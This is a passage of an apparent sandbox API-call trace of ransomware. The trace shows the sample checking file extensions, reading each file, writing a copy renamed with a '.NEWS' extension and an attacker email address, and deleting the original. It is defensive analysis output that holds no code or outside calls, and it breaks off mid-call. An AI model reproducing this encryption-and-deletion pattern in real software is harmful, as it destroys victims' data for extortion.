lstrlenW (lpString=".jpg") returned 4 [0064.605] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.605] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.605] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.605] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=18264) returned 1 [0064.605] CloseHandle (hObject=0x31c) returned 1 [0064.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0064.606] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.606] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.606] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.606] GetLastError () returned 0x0 [0064.606] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0064.608] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0064.609] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.609] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.609] SetEndOfFile (hFile=0x2f4) returned 1 [0064.609] CloseHandle (hObject=0x2f4) returned 1 [0064.610] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.610] SetEndOfFile (hFile=0x31c) returned 1 [0064.611] CloseHandle (hObject=0x31c) returned 1 [0064.611] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.611] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0064.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.612] lstrlenW (lpString=".doc") returned 4 [0064.612] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString=".docx") returned 5 [0064.612] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.612] lstrlenW (lpString=".pdf") returned 4 [0064.612] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString=".xls") returned 4 [0064.612] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString=".xlsx") returned 5 [0064.612] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.612] lstrlenW (lpString=".ppt") returned 4 [0064.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.612] lstrlenW (lpString=".zip") returned 4 [0064.612] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString=".rar") returned 4 [0064.612] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.612] lstrlenW (lpString=".bz2") returned 4 [0064.612] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.612] lstrlenW (lpString=".7z") returned 3 [0064.612] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.612] lstrlenW (lpString=".dbf") returned 4 [0064.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.612] lstrlenW (lpString=".1cd") returned 4 [0064.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".jpg") returned 4 [0064.613] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".doc") returned 4 [0064.613] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString=".docx") returned 5 [0064.613] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.613] lstrlenW (lpString=".pdf") returned 4 [0064.613] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString=".xls") returned 4 [0064.613] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString=".xlsx") returned 5 [0064.613] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.613] lstrlenW (lpString=".ppt") returned 4 [0064.613] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".zip") returned 4 [0064.613] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString=".rar") returned 4 [0064.613] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.613] lstrlenW (lpString=".bz2") returned 4 [0064.613] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.613] lstrlenW (lpString=".7z") returned 3 [0064.613] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".dbf") returned 4 [0064.613] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".1cd") returned 4 [0064.613] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.613] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0064.613] lstrlenW (lpString=".jpg") returned 4 [0064.613] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.614] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.614] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.614] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=18264) returned 1 [0064.614] CloseHandle (hObject=0x31c) returned 1 [0064.614] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0064.614] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.614] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.614] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.615] GetLastError () returned 0x0 [0064.615] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0064.616] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0064.618] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.618] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.618] SetEndOfFile (hFile=0x2f4) returned 1 [0064.618] CloseHandle (hObject=0x2f4) returned 1 [0064.619] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.619] SetEndOfFile (hFile=0x31c) returned 1 [0064.620] CloseHandle (hObject=0x31c) returned 1 [0064.620] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.621] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0064.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.621] lstrlenW (lpString=".doc") returned 4 [0064.621] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString=".docx") returned 5 [0064.621] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.621] lstrlenW (lpString=".pdf") returned 4 [0064.621] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString=".xls") returned 4 [0064.621] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString=".xlsx") returned 5 [0064.621] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.621] lstrlenW (lpString=".ppt") returned 4 [0064.621] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.621] lstrlenW (lpString=".zip") returned 4 [0064.621] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString=".rar") returned 4 [0064.621] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.621] lstrlenW (lpString=".bz2") returned 4 [0064.621] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.621] lstrlenW (lpString=".7z") returned 3 [0064.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".dbf") returned 4 [0064.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".1cd") returned 4 [0064.622] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".jpg") returned 4 [0064.622] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".doc") returned 4 [0064.622] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString=".docx") returned 5 [0064.622] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.622] lstrlenW (lpString=".pdf") returned 4 [0064.622] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString=".xls") returned 4 [0064.622] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString=".xlsx") returned 5 [0064.622] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.622] lstrlenW (lpString=".ppt") returned 4 [0064.622] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".zip") returned 4 [0064.622] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString=".rar") returned 4 [0064.622] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.622] lstrlenW (lpString=".bz2") returned 4 [0064.622] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.622] lstrlenW (lpString=".7z") returned 3 [0064.622] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.622] lstrlenW (lpString=".dbf") returned 4 [0064.622] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.623] lstrlenW (lpString=".1cd") returned 4 [0064.623] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0064.623] lstrlenW (lpString=".jpg") returned 4 [0064.623] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.623] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.623] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.623] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=17752) returned 1 [0064.623] CloseHandle (hObject=0x31c) returned 1 [0064.623] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0064.623] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.623] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.623] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.623] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.624] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.624] GetLastError () returned 0x0 [0064.624] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x4558, lpOverlapped=0x0) returned 1 [0065.007] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x4560, lpOverlapped=0x0) returned 1 [0065.009] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.012] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0065.012] SetEndOfFile (hFile=0x2f4) returned 1 [0065.013] CloseHandle (hObject=0x2f4) returned 1 [0065.014] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.014] SetEndOfFile (hFile=0x31c) returned 1 [0065.015] CloseHandle (hObject=0x31c) returned 1 [0065.016] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.016] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0065.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.016] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.016] lstrlenW (lpString=".doc") returned 4 [0065.016] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.016] lstrlenW (lpString=".docx") returned 5 [0065.017] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0065.017] lstrlenW (lpString=".pdf") returned 4 [0065.017] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString=".xls") returned 4 [0065.017] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString=".xlsx") returned 5 [0065.017] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0065.017] lstrlenW (lpString=".ppt") returned 4 [0065.017] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.017] lstrlenW (lpString=".zip") returned 4 [0065.017] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString=".rar") returned 4 [0065.017] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0065.017] lstrlenW (lpString=".bz2") returned 4 [0065.017] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0065.017] lstrlenW (lpString=".7z") returned 3 [0065.017] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0065.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.017] lstrlenW (lpString=".dbf") returned 4 [0065.017] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0065.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.017] lstrlenW (lpString=".1cd") returned 4 [0065.017] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0065.017] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.017] lstrlenW (lpString=".jpg") returned 4 [0065.017] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.018] lstrlenW (lpString=".doc") returned 4 [0065.018] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString=".docx") returned 5 [0065.018] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0065.018] lstrlenW (lpString=".pdf") returned 4 [0065.018] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString=".xls") returned 4 [0065.018] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString=".xlsx") returned 5 [0065.018] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0065.018] lstrlenW (lpString=".ppt") returned 4 [0065.018] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.018] lstrlenW (lpString=".zip") returned 4 [0065.018] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString=".rar") returned 4 [0065.018] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0065.018] lstrlenW (lpString=".bz2") returned 4 [0065.018] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0065.018] lstrlenW (lpString=".7z") returned 3 [0065.018] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0065.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.018] lstrlenW (lpString=".dbf") returned 4 [0065.018] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0065.018] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.018] lstrlenW (lpString=".1cd") returned 4 [0065.019] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0065.019] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0065.019] lstrlenW (lpString=".jpg") returned 4 [0065.019] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0065.019] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0065.019] lstrlenW (lpString="Rotate3.ico") returned 11 [0065.019] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.019] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=894) returned 1 [0065.019] CloseHandle (hObject=0x31c) returned 1 [0065.019] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0065.020] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.020] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0065.020] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.020] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.020] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0065.020] GetLastError () returned 0x0 [0065.020] ReadFile (in: hFile=0x31c, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x37e, lpOverlapped=0x0) returned 1 [0065.022] WriteFile (in: hFile=0x2f4, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x25dfc94, 